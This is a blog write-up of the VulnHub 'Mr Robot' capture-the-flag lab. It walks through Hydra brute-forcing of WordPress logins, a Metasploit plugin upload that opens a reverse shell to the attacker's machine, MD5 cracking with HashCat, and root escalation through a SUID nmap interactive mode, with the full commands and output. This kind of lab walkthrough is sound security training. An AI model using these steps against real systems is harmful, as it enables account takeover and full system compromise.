[Write-up] Mr Robot

It’s been a few months since I wrote my last write-up on a VulnHub vulnerable machine. Time for a new one! The VM is called Mr Robot and is themed after the TV show of the same name. It contains 3 flags to find, each of increasing difficulty.

Information gathering

Let’s start by a quick port scan.

$ nmap -sS -T4 192.168.2.4

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-04-03 12:25 EDT
Nmap scan report for vm (192.168.2.4)
Host is up (0.00025s latency).
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https

Nothing fancy, just a web server running.

The website basically tells you a few things, and lets you input some commands. After a quick test, those don’t seem very useful.

As always, I then start by taking a look at the robots.txt file.

/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

Alright, we already have the first flag! The second file looks promising.

$ file fsocity.dic
fsocity.dic: ASCII text, with very long lines

$ wc -l fsocity.dic
858160 fsocity.dic

$ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window

That looks like a custom word list with 800k+ words in it However, a lot of them seem to be repeated:

$ sort fsocity.dic | uniq | wc -l
11451

If we remove the duplicates, we are left with a word list of ~11k words. Let’s save it for later.

A Nikto scan reveals several interesting paths.

nikto -h 192.168.2.4
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.2.4
+ Target Hostname: 192.168.2.4
+ Target Port: 80
+ Start Time: 2017-04-03 18:32:36 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
(...)
+ /readme.html: This WordPress file reveals the installed version.
+ /wp-admin/wp-login.php: WordPress login found
+ /wp-login.php: WordPress login found
---------------------------------------------------------------------------
+ 1 host(s) tested

 

We clearly have a wordpress install here. If we browse to /readme.html, we can see that the WordPress version used is 4.3.9.

The next thing I did was to run WpScan against the machine. It revealed several outdated modules, but nothing I managed to exploit.

Therefore, I decided to focus on the administration panel and to try to brute force the administrator credentials. The first step to do this is to find a valid username. Unfortunately the website doesn’t seem to contain any post, so no author information appears. WpScan also fails to enumerate the users.

Fortunately there exists a very handy tool called Hydra that allows to brute force almost anything, including usernames in a HTTP form. Here’s the POST request made when we try to log in on /wp-login.php

Essentially we need to have the log and pwd parameters in the body of the request. If the username is invalid, WordPress will respond with a message « ERROR: Invalid username ». We’ll use the word list fsocity.dic that we found earlier, after having removed the duplicates it contains.

Here’s the Hydra command that does the job:

$ hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.2.4 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

Let’s break it down:

  • -vV : Verbose
  • -L fsocity.dic.uniq : Try all the usernames from the file fsocity.dic.uniq
  • -p wedontcare : Use an unique password, it doesn’t matter (we’re only interested in the username for now)
  • 192.168.2.4 : The IP of the machine we’re attacking
  • http-post-form : What we’re trying to brute force, here a HTTP POST form
  • ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’
    • /wp-login.php : The path to where the form is located
    • log=^USER^&pwd=^PASS^&wp-submit=Log+In : The POST parameters to send. ^USER^ and ^PASS^ are placeholders that wiil be replaced with the actual values.
    • F=Invalid username : Consider an attempt as a failure (F) if the response contains the text Invalid username

After a few minutes, we get:

[80][http-post-form] host: 192.168.2.4 login: elliot password: mypassword

Now we know there is a WordPress user named elliot. Let’s try to bruteforce his password using the same technique and word list, shall we?

$ hydra -vV -l elliot -P fsocity.dic.uniq vm http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
[...]
[80][http-post-form] host: 192.168.2.4 login: elliot password: ER28-0652
1 of 1 target successfully completed, 1 valid password found

Elliot’s password appears to be ER28-0652. We can indeed login to the WordPress administration interface using these credentials.

Exploitation

The first thing that comes to mind to get a shell on the machine is to upload a WordPress plugin containing the appropriate PHP payload. This is easy to do by hand, but I got lazy and used the WordPress Admin Shell Upload metasploit module. It essentially creates a small WordPress plugin that connects back to your machine and spawns a reverse shell.

$ msfconsole
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 PASSWORD yes The WordPress password to authenticate with
 Proxies no A proxy chain of format type:host:port[,type:host:port][...]
 RHOST yes The target address
 RPORT 80 yes The target port
 SSL false no Negotiate SSL/TLS for outgoing connections
 TARGETURI / yes The base path to the wordpress application
 USERNAME yes The WordPress username to authenticate with
 VHOST no HTTP server virtual host


msf exploit(wp_admin_shell_upload) > set USERNAME elliot
USERNAME => elliot
msf exploit(wp_admin_shell_upload) > set PASSWORD ER28-0652
PASSWORD => ER28-0652
msf exploit(wp_admin_shell_upload) > set RHOST 192.168.2.4
RHOST => 192.168.2.4
msf exploit(wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.2.3:4444 
[*] Authenticating with WordPress using elliot:ER28-0652...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/ByYCGRdIIA/oEodftPPNp.php...
[*] Sending stage (33721 bytes) to 192.168.2.4
[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.4:39107) at 2017-04-03 19:06:21 -0400
[!] This exploit may require manual cleanup of 'oEodftPPNp.php' on the target
[!] This exploit may require manual cleanup of 'ByYCGRdIIA.php' on the target

meterpreter >

Here we go, a nice meterpreter shell. 🙂 Let’s spawn a TTY shell in it:

meterpreter > shell
Process 2138 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$

We can see that we’re logged in as the user daemon. After poking around a bit, we find /home/robot that seem to contains interesting stuff:

$ ls /home/robot
key-2-of-3.txt password.raw-md5

We don’t have the permission to see the first file, but we can access the second one.

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Obviously looks like an unsalted MD5 hashed password that should be trivial to reverse using HashCat.

$ ./hashcat64.bin -a 0 -m 0 password.md5 /usr/share/wordlists/rockyou.txt -o cracked.txt

After a few seconds, we get:

c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz

We can now go back to our shell and log in as the user robot.

$ su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$

… which gives us the second flag.

robot@linux:~$ cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959

Escalation

Nothing interesting in the MySQL database. There is another WordPress user named mich05654 with the password Dylan_2791, but it seems rather useless.

After some time of exploring the system, I find an interesting binary with the SUID bit set:

$ find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

Yep, that’s NMap itself! An old version (3.81) of it, to be exact. Interestingly, the executable is owned by root. Since its SUID bit is set, it means that nmap can theoretically execute commands as root if we manage to have it run them for us.

A look at the output of nmap –help teaches us that nmap has a –interactive option that brings up some kind of REPL.

robot@linux:~$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> h
h
Nmap Interactive Commands:
n <nmap args> -- executes an nmap scan using the arguments given and
waits for nmap to finish. Results are printed to the
screen (of course you can still use file output commands).
! <command> -- runs shell command given in the foreground
x -- Exit Nmap
f [--spoof <fakeargs>] [--nmap_path <path>] <nmap args>
-- Executes nmap in the background (results are NOT
printed to the screen). You should generally specify a
file for results (with -oX, -oG, or -oN). If you specify
fakeargs with --spoof, Nmap will try to make those
appear in ps listings. If you wish to execute a special
version of Nmap, specify --nmap_path.
n -h -- Obtain help with Nmap syntax
h -- Prints this help screen.
Examples:
n -sS -O -v example.com/24
f --spoof "/usr/local/bin/pico -z hello.c" -sS -oN e.log example.com/24

Awesome, it turns out nmap can run shell command for us!

nmap> !whoami
root

We can therefore ask it to spawn a root shell, and get the final flag located in /root.

nmap> !sh
# cd /root
# ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

Thanks for reading!

One thought on “[Write-up] Mr Robot

  1. Thanks!! Great write-up, i love that its super detailed, it really helps beginners like me. Keep posting 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *